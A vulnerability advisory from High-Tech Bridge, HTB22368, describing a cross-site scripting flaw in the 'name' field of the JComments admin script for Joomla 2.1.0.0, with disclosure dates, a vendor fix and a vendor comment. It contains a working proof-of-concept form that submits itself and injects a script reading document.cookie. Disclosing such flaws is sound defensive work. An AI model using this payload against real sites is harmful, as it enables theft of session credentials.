XSS vulnerability in JComments, Joomla
| Vulnerability ID: | HTB22368 |
| Product: | JComments |
| Vendor: | JoomlaTune .com |
| Vulnerable Version: | 2.1.0.0 [07/08/2009] and Probably Prior Versions |
| Vendor Notification: | 04 May 2010 |
| Public Disclosure: | 18 May 2010 |
| Latest Update: | 16 May 2010 |
| Vulnerability Type: | XSS (Cross Site Scripting) |
| Status: | Fixed by Vendor |
| Risk level: | Medium |
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| Credit: | High-Tech Bridge SA |
Vulnerability Details: | |
| User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "admin.jcomments.php" script to properly sanitize user-supplied input in "name" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form method="POST" action="http://joomla/administrator/index.php" name="main"> <input type="hidden" name="name" value='ComntrName"><script>alert(document.cookie)</script>'> <input type="hidden" name="email" value="example@example.com"> <input type="hidden" name="comment" value="comment text"> <input type="hidden" name="published" value="1"> <input type="hidden" name="option" value="com_jcomments"> <input type="hidden" name="id" value="1"> <input type="hidden" name="task" value="save"> </form> <script> document.main.submit(); </script> | |
Solution: | |
| Upgrade to the most recent version | |
Vendor Comment: | |
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This vulnerability can be exploited only by user who has access to Joomla's backend. New JComments version with fix already released and available for download: http://www.joomlatune.com/jcomments-downloads.html We strongly recommend that all JComments users upgrade to JComments 2.2 | |
